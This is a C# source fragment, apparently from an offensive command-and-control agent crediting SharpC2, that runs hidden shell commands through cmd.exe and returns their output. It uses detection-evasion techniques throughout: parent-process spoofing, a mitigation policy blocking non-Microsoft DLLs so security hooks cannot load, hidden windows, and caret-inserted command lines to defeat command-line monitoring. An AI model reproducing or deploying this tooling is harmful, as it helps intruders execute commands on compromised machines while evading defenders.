//public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref flags.SECURITY_ATTRIBUTES lpProcessAttributes, ref flags.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref flags.STARTUPINFOEX lpStartupInfo, out flags.PROCESS_INFORMATION lpProcessInformation); public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref flags.SECURITY_ATTRIBUTES lpProcessAttributes, ref flags.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, flags.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref flags.STARTUPINFOEX lpStartupInfo, out flags.PROCESS_INFORMATION lpProcessInformation);
public static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref flags.SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize);
public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, ref flags.SECURITY_ATTRIBUTES lpTokenAttributes, flags.SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, flags.TOKEN_TYPE TokenType, out IntPtr phNewToken);
public static string RunCmd(string[] arguments) { int parentId = SearchPID.SearchForPPID(); var args = arguments[1].Replace('+', ' '); var caretedArg = ""; var lpCommandLine = ""; if (arguments[0] == "caretrun") { for (int i = 0; i < args.Length; i += 2) { caretedArg = args.Insert(i, "^"); args = caretedArg; } lpCommandLine = @"cmd.exe /c " + caretedArg; } else { lpCommandLine = @"cmd.exe /c " + args; } // STARTUPINFOEX members const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; // STARTUPINFO members (dwFlags and wShowWindow) const int STARTF_USESTDHANDLES = 0x00000100; const int STARTF_USESHOWWINDOW = 0x00000001; const ushort SW_HIDE = 0x0000; const uint DUPLICATE_CLOSE_SOURCE = 0x00000001; const uint DUPLICATE_SAME_ACCESS = 0x00000002; // Mitigation Policy const long BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000; const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007; var blockMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size); var result = string.Empty; var saHandles = new flags.SECURITY_ATTRIBUTES(); saHandles.nLength = Marshal.SizeOf(saHandles); saHandles.bInheritHandle = true; saHandles.lpSecurityDescriptor = IntPtr.Zero; IntPtr hStdOutRead; IntPtr hStdOutWrite; var hDupStdOutWrite = IntPtr.Zero; Interop.CreatePipe(out hStdOutRead, out hStdOutWrite, ref saHandles, 0); Interop.SetHandleInformation(hStdOutRead, flags.HANDLE_FLAGS.INHERIT, 0); var pInfo = new flags.PROCESS_INFORMATION(); var siEx = new flags.STARTUPINFOEX(); siEx.StartupInfo.cb = Marshal.SizeOf(siEx); var lpValueProc = IntPtr.Zero; siEx.StartupInfo.hStdError = hStdOutWrite; siEx.StartupInfo.hStdOutput = hStdOutWrite; try { var lpSize = IntPtr.Zero; Interop.InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize); siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); Interop.InitializeProcThreadAttributeList(siEx.lpAttributeList, 2, 0, ref lpSize); if (IntPtr.Size == 4) { Marshal.WriteIntPtr(blockMitigationPolicy, IntPtr.Zero); } else { Marshal.WriteIntPtr(blockMitigationPolicy, new IntPtr((long)BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON)); } Interop.UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, blockMitigationPolicy, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); var parentHandle = Interop.OpenProcess(flags.ProcessAccessRights.CreateProcess | flags.ProcessAccessRights.DuplicateHandle, false, parentId); lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValueProc, parentHandle); Interop.UpdateProcThreadAttribute( siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); var hCurrent = Process.GetCurrentProcess().Handle; var hNewParent = Interop.OpenProcess(flags.ProcessAccessRights.DuplicateHandle, true, parentId); Interop.DuplicateHandle(hCurrent, hStdOutWrite, hNewParent, ref hDupStdOutWrite, 0, true, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS); siEx.StartupInfo.hStdError = hDupStdOutWrite; siEx.StartupInfo.hStdOutput = hDupStdOutWrite; siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; siEx.StartupInfo.wShowWindow = SW_HIDE; var ps = new flags.SECURITY_ATTRIBUTES(); var ts = new flags.SECURITY_ATTRIBUTES(); ps.nLength = Marshal.SizeOf(ps); ts.nLength = Marshal.SizeOf(ts); Interop.CreateProcess(null, lpCommandLine, ref ps, ref ts, true, flags.ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT | flags.ProcessCreationFlags.CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo); // Credits to SharpC2 - https://raw.githubusercontent.com/SharpC2/SharpC2/dev/AgentModules/StageOne/Execution/LocalExecution.cs var safeHandle = new SafeFileHandle(hStdOutRead, false); var encoding = Encoding.GetEncoding(Interop.GetConsoleOutputCP()); var reader = new StreamReader(new FileStream(safeHandle, FileAccess.Read, 4096, false), encoding, true); var exit = false; try { do { if (Interop.WaitForSingleObject(pInfo.hProcess, 100) == 0) { exit = true; } char[] buf = null; int bytesRead; uint bytesToRead = 0; var peekRet = Interop.PeekNamedPipe(hStdOutRead, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref bytesToRead, IntPtr.Zero); if (peekRet == true && bytesToRead == 0) { if (exit == true) { break; } else { continue; } } if (bytesToRead > 4096) { bytesToRead = 4096; } buf = new char[bytesToRead]; bytesRead = reader.Read(buf, 0, buf.Length); if (bytesRead > 0) { result += new string(buf); } } while (true); reader.Close(); } catch (Exception e) { Console.WriteLine(e.Message); } finally { if (!safeHandle.IsClosed) { safeHandle.Close(); } if (hStdOutRead != IntPtr.Zero) { Interop.CloseHandle(hStdOutRead); } } } catch (Exception e) { Console.WriteLine(e.Message); } finally { if (siEx.lpAttributeList != IntPtr.Zero) { Interop.DeleteProcThreadAttributeList(siEx.lpAttributeList); Marshal.FreeHGlobal(siEx.lpAttributeList); } Marshal.FreeHGlobal(lpValueProc); if (pInfo.hProcess != IntPtr.Zero) { Interop.CloseHandle(pInfo.hProcess); } if (pInfo.hThread != IntPtr.Zero) { Interop.CloseHandle(pInfo.hThread); } } return(result); }